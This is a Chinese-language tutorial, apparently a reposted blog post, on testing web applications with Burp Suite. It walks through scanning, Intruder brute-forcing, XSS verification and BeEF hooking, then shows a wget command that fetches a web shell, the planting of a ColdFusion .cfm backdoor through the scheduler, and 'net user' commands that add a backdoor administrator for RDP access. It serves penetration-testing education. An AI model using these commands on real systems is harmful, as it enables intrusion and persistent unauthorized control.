天天看點

利用BurpSwite攻擊web應用

web應用測試綜述:

Web應用漏洞給企業資訊系統造成了很大的風險。許多web應用程式漏洞是由于web應用程式缺乏對輸入的過濾。簡而言之Web應用程式利用來自使用者的某種形式的輸入并且在應用程式中執行了這些資訊為其提供内容或者從系統的其他部分擷取資料。如果未正确過濾輸入攻擊者可以發送非标準輸入來利用web應用程式。本文将重點讨論burpsuite并介紹如何利用它來評估web應用程式。

Burpsuite綜述

Burpsuit有許多功能包括但不限于

Interception Proxy:旨在讓使用者控制發送到伺服器的請求。

Repeater:快速重複或修改指定請求的能力。

Intruder:允許自動化自定義攻擊和payload。

Decoder:解碼和編碼不同格式的字元串URL,BASE64,HTML等等。

Comparer: 高亮顯示不同的請求或響應之間的不同處。

Extender: 擴充Burp功能的API接口以及許多通過BApp商店免費提供的擴充。

Spider and Discover Content feature:爬取web應用程式上的連結并且可以被用來動态枚舉非顯式連結的内容來尋找資訊。

Scanner (Pro Only): 檢查web應用程式漏洞XSSSQLi代碼注入檔案包含等的自動掃描程式。

入門

Burp的詳細幫助文檔在下面能找到

http://portswigger.net/burp/help/suite_gettingstarted.html

Burpsuite能通過java -jar指令行加載。你可以通過使用選項“-Xmx”配置設定你的burp所需記憶體。

java -jar -Xmx1024m /path/to/burp.jar

image.png

像許多攔截代理一樣Burp也是通過GUI驅動的但是有一些選項需要通過Extender功能利用指令行啟動。

一旦burpsuite啟動建議你先在Scope定義好目标主機。你可以在site map控制顯示的内容和其他功能。Scope能通過定義目标主機名IP或者網絡範圍:

æ­¤å¤è¾å¥å¾ççæè¿°

Proxy頁籤顯示Burp的代理詳細資訊、intercept選項和HTTP請求曆史。在下面你可以看到“Intercept is on” 是以任何從浏覽器發出的請求都将必須通過Burp的proxy手動點選forward才能進行

Intercept 功能會截斷所有從浏覽器發送出來的流量其他擴充如FoxyProxy能用來指定哪個URL和IP是黑名單或白名單這些名單能繞過burp的截斷。

通過配置好Burp的scope和proxy你可以開始使用你的浏覽器和burp浏覽web應用程式了如你可以在Site Map目标右鍵彈出菜單選項。在這個視圖中你可以看到web應用的目錄結構和資源。通過右擊URL或者資源你可以通過幾個選項調用其他功能例如Burp的spider功能或者執行主動式掃描

便捷提示為了更容易專注于目标web應用程式你可以點選“Filter”菜單隻顯示僅僅在範圍内的内容

激活Burp的spider功能将爬取web應用的連結預設爬取連結深度為5但是這些選項都是在“spider”頁籤中配置的。一旦你截斷web應用程式所有的請求和響應都将在“proxy”頁籤中記錄下來。你可以高亮顯示一個請求讓它脫穎而出并且可以在之後的分析中留下注釋

Burp的Engagement Tools

  Burpsuite在它的Engagement Tools 右擊目标站點的視圖>Engagement Tools 下他提供了大量有用的功能。從這你可以選擇“Analysis Target”分析目标這個功能提供給你連結參數和靜态、動态内容的計數。了解這些資訊對評估目标非常有用。連結、參數、和動态内容越多注入fuzz的點就更多。

  在下面的截圖中你可以看到一些其他功能如“Schedule Task”定時任務讓你可以定時進行主動掃描。如果用戶端想在一天中的某幾個小時執行自動化測試這個功能特别有用。

Discovering Unlinked Content發現非顯式連結内容

  進行web應用程式測試時将面臨到的一個問題是枚舉未使用顯式連結的内容。這可能是一種很耗時的方式因為它主要依賴暴力猜解來制作請求并且檢視伺服器上是否存在該資源。舉個例子“/tmp/”目錄不是在web應用任何一個連結中但是如果發送請求/tmp/目錄将得到響應。為了解決這個問題我們有許多其他的選擇

利用Burp的Discover Content功能。

利用其它掃描器Niktow3afZAP等來探測一些預設資源。

利用DirBuster或Burp的Intruder功能基于一個固定清單暴力猜解資源。

所有的這些方法都非常耗時并且實際上可能找不到任何東西是以根據測試時間和範圍你可以不必讓DirBuster 運作一整天。一般情況下當你另外進行手工測試的時候它會自動在背景運作。

  下面是一個例子調用Burp的Discover Content功能嘗試動态枚舉非顯式連結的内容

Burp的Decoder和Comparer(編解碼器和對比器)

當你開始測試WEB應用程式時你将發現你經常需要将字元串解碼或編碼成不同格式。當嘗試繞過一些簡單的waf的時候非常有用。下面的例子是使用Burp的decoder執行URL編碼除此之外還有别的編解碼選項。

Burp的Comparer功能讓你快速将請求或響應進行比較并且高亮顯示它們之間的差別

Burp的Extender擴充

擴充功能提供了強大的API接口開發通過使用腳本語言開發額外的功能。許多擴充是用python編寫并且通過Burp的應用商店免費提供使用。有個非常有用的擴充是Carbonator它允許你在指令行中實作brupspider>scan>report的全自動化。下面是應用商店一些可用擴充的截圖

Burp的Intruder暴力破解

另一個選項是利用Burp的intruder功能它可以使用一個請求并且允許使用者修改請求定義各種不同的payload注入點。一個常見的用例是疊代請求中的參數值用來檢視web應用程式如何響應例如get /product.php?item=1你也許可以使用intruder檢查比較一下1-1000響應的不同之處。你還可以将請求的資源作為要修改的位置。下面我們将通過周遊一個目錄字典來示範這一點

  1.指定一個請求并且選擇“Send to Intruder”這将在“intruder”頁籤下彈出以下視窗。高亮顯示區域是在請求中将使用“sniper”payload進行暴力猜解的那部分

2.接下來是payload頁籤你可以加載一個字典進行暴力猜解

3.選擇“Intruder > Start Attack”開始攻擊。接下來的結果視窗将顯示建立的請求和HTTP狀态碼。正如我們所看到的我們能枚舉出一部分spider未發現的其他資源

除了使用Burp建議在背景運作中間掃描程式用來檢查一些預設配置和資源。下面是使用Nikto的例子也可以考慮其他掃描工具ZAPw3afGrendal等。正如我們所看到的Nikto發現了更多有趣的東西等待我們去調查如/tmp/和/test/:

在初步的偵察之後我們想開始一個主動式掃描這能讓Burp測試已知内容以發現漏洞。主要通過Burp輸入内容HTML、javascript、SQL文法、系統指令等進行大量的工作并且監測應用程式如何響應來實作。與任何Web應用程式漏洞掃描器一樣Burp會報告一些需要手動驗證的報告。要啟動一個主動式掃描右擊site map上的URL或者資源并選擇“Actively scan this host”将會彈出下面主動掃描向導

在Web應用程式的掃描時間可能因Web應用程式而異。在某些情況下Web應用程式的自動掃描時間範圍可能從幾個小時到幾天不等。掃描期間列舉的連結計數是潛在的掃描持續時間的一個很好的名額。下面的視窗顯示了1515個連結枚舉但很少有參數用于測試輸入。不帶參數的連結将減少Burp對每個連結的請求次數是以掃描時間較短。

  在評估主動掃描網絡應用時另一個關鍵因素是表單送出。當你主動掃描web應用程式時根據web應用程式和向使用者提供的功能你可能會生成大量日志故障單作業等。如果不在評估範圍内應該密切監視這些情況以防止造成拒絕服務DoS情況。

  掃描開始後可通過跳轉到Burp中的“scanner”頁籤來檢視結果和狀态.

随着開始顯示結果你可以開始檢查一些結果。下面我們可以看到Burp提取多個爆出的結果以進一步調查

分析掃描結果和手動測試

驗證Burp掃描結果确定是否是誤報充分了解結果這通常會是一個好主意。從選擇發現的結果開始選擇如“Cross-site scripting (reflected)”然後選擇并檢視其請求和響應中影響漏洞評估的詳細資訊。檢查XSS的第一件事就是在浏覽器中重複這一個請求然後檢視腳本是否運作了。你可以通過右擊請求正文部分然後選擇“Request in browser”

檢視浏覽器中的響應對确定标記是否正确非常有用。由于XSS評估結果與在用戶端浏覽器中執行的代碼相關是以選擇在依賴于掃描器邏輯之前手工驗證發現結果非常重要。

  Burp的另一個常用功能是“Repeater”通常用于驗證結果或手動搜尋其他結果。隻需右鍵單擊請求正文部分并選擇“Send to Repeater”

在Repeater界面中你可以修改請求并快速重新發送請求給Web應用程式。

反射型XSS可以通過注入某種HTML / JavaScript的payload進行快速測試該payload解析無需輸入進行驗證。下面是修改XSS payload簡單地“alert”XSS“”的示例

對于反射型XSS的實際應用你可能會利用iframe作為payload與魚叉式網絡釣魚結合使用。下面是一個示例XSS payload你可以使用它來代替“alert”是以現在它可以加載用戶端側提供的exploit或BeEF挂鈎的第三方資源

frameLabelStart--frameLabelEnd

BeEF是通過使用JavaScript來控制受害者浏覽器的強大方法。在上面你可以看到使用XSS漏洞與BeEF相關的受害者浏覽器。BeEF提供大量功能在受害者浏覽器上執行甚至連接配接到Metasploit以進行攻擊。

  關于Web應用程式的安全性中XSS經常被許多人忽視因為你需要利用其他方法擷取最終目标——shell。關于XSS的一點需要注意的是我們已經确定Web應用程式沒有正确過濾使用者輸入并且這可能隻是一個引出許多其他漏洞的迹象。

  在下面這種情況我們通過發送到repeater并修改payload并在浏覽器中顯示響應來驗證XSS并展示了如何利用XSS來控制受害者浏覽器。Burp掃描結果另一個優點是修改發現結果所聯系的風險等級。當分析掃描結果時你将毫無疑問遇見一些False Positive誤報情況。是以Burp提供使用者修改結果為“False Positive”的能力

Burp能夠使用各種payload進行模糊輸入但它确實會遺漏一些特定版本的漏洞和配置問題。這對任何工具都很常見是以建議你執行手動測試來驗證工具找到的結果并列舉Web應用程式中的其他漏洞。

  手動測試的第一步是擷取Web應用程式使用的技術。特定的軟體和版本資訊可能會導緻你擷取額外的資訊以擷取可能存在的漏洞或漏洞。Whatweb是一款非常棒的工具能夠讓你快速了解Web應用程式所使用的技術。下面我們可以看到whatweb的指令行文法和輸出

此時我們可能已經在運作完整的Burp掃描之前運作了whatweb但是我們可以從whatweb的輸出中看到一些非常有趣的資訊。

  在這種情況下我們看到一個ColdFusion Web應用程式它給我們提供了手工測試的一個入手點。現在已經枚舉出了ColdFusion檢查是否存在管理資源如“/ CFIDE / administrator /”以便判斷是否合乎ColdFusion應用的邏輯。

手工測試

  Burp也可以成為在Web應用程式上執行手工測試的好工具。通常這種類型的測試是通過安全評估來進行的并且随着從各種掃描中發現更多資訊可以進一步利用手動測試來利用它。關于手工測試的主題可以講好幾本書本博文将重點介紹一些非常基礎的内容。當你開始浏覽Web應用程式并檢視工具輸出時請問你自己以下問題

  1.列舉并研究所有可能存在的軟體版本。ColdFusionWordPressSharePoint等。

研究所有軟體版本以檢查是否存在已知的漏洞和常見的錯誤配置

嘗試請求與正在使用的技術相關的其他資源這些資源可能不會被Web應用程式顯式連結出來。

  2.Web應用程式是否用到了使用者輸入

檢視修改參數值HTTP頭字段cookie等以檢視Web應用程式的響應方式。

  3.如果你懷疑某個部分的請求出現在螢幕上請測試XSS。是以如果你浏覽該頁面并注意到你的User-Agent可以直接看見請嘗試用一些HTML / JavaScript替換你的User-Agent以測試XSS

  4.你的請求是否被利用來針對資料庫執行查詢例如如果你注意到一個名為“id”的參數并且看到它帶有一個數字值請嘗試放置一個單引号“或雙引号”以嘗試生成資料庫錯誤。這種類型的測試可以識别SQL注入的存在。

  5.Web應用程式是否利用任何輸入來執行指令嘗試修改輸入以将附加指令附加到請求并檢視它是否被Web應用程式成功處理。

擷取一個shell

  Webshell有各種檔案格式和功能。你可能能夠登陸一個php shellraw shellmeterpreter等一個原始的netcat shell.asp shell.jsp等等。可以使用的shell類型取決于web應用程式所使用的技術和配置。例如如果你獲得了對Apache Tomcat GUI的通路權限則可以部署WAR後門。如果你在運作IIS時遇到一些RFI漏洞你可以嘗試上傳一個asp shell。

  當你獲得一個shell的時候你也可以使用Web應用程式服務帳戶的權限來運作它可能無法在目前工作目錄中執行指令。由于這些原因你可能需要将Web Shell放置在/ tmp /目錄wget -O /tmp/shell.py http// /shell.py中。關于遠端指令執行RCE它一般需要在請求結束時有一個空位元組00。

有時候配置錯誤會導緻可以上傳一個web shell。下面我們可以看到我們可以通路ColdFusion管理界面。如果我們跳轉到這裡這實際上允許我們安排任務并上傳.cfm後門。這是一個重要的發現但許多自動化掃描工具完全錯過了

這個例子不太可能發生在現實世界中但重點是列舉Web應用程式利用的軟體版本然後進行研究以發現任何漏洞。ColdFusion伴随着許多目錄周遊和越權漏洞已經成熟了。利用谷歌搜尋和檢查exploit-db等攻擊研究資源在這個測試階段可能會有很長的路要走。

  由于我們可以通路管理界面是以下一個合理的步驟就是安排一個任務來調用.cfm後門并将其釋出到Web應用程式中。要在ColdFusion中安排任務它位于“Debugging&Logging”菜單下

接下來你需要在另一個地方快速搭起一個WEB伺服器以允許WEB應用程式将後門下載下傳下來。我發現利用Python來快速建立一個Web伺服器是非常有用的

      python -m SimpleHTTPServer 80

然後我們可以配置并運作計劃任務來撤消并釋出後門。你需要確定選中“publish”複選框并且可以從左側的伺服器設定摘要中枚舉檔案系統目錄結構

在我們運作計劃任務後你可以監控你的Python Web伺服器以檢視受害者伺服器請求後門。然後你可以跳轉到Web應用上的後門進行互動以在其OS上執行指令

æ­¤å¤è¾å¥å¾ççæè¿°我們可以執行一個“whoami”指令來檢視Web應用程式有什麼權限

作為“nt authority\system”執行,意味着我們可以開始進行一些修改如添加使用者并關閉防火牆。我們将使用以下指令添加一個使用者

net user jobin password /ADD

net user localgroup Administrators jobin /ADD

net localgroup “Remote Desktop Users” jobin /ADD

  現在禁用防火牆并通過.cfmshell添加使用者我們可以通過RDP協定連接配接受害者系統以獲得終端通路權限

總結

  Web應用程式漏洞的常見來源是缺少對使用者輸入的過濾。Web應用程式掃描工具的工作原理是通過發出包含後面代碼、缺少過濾的輸入請求來利用的Web代碼文法本地/遠端資源等。

Web應用程式測試是一個非常進階的主題本博文僅關注一些基本知識Burp Suite簡介。如果你想了解有關Web應用程式測試的更多資訊請檢視以下資源

Metasploitable可以為Web應用程式提供很好的實踐

SecureIdeas提供便宜的Burp網絡訓練研讨會

OWASP

通過通路www.pentesterlab.com擷取免費教育訓練和實驗室

SANS 542和642 Web應用滲透測試課程

攻擊性安全教育訓練OSCP有很多網絡應用程式測試

轉自:

https://www.cnblogs.com/ichunqiu/p/9234382.html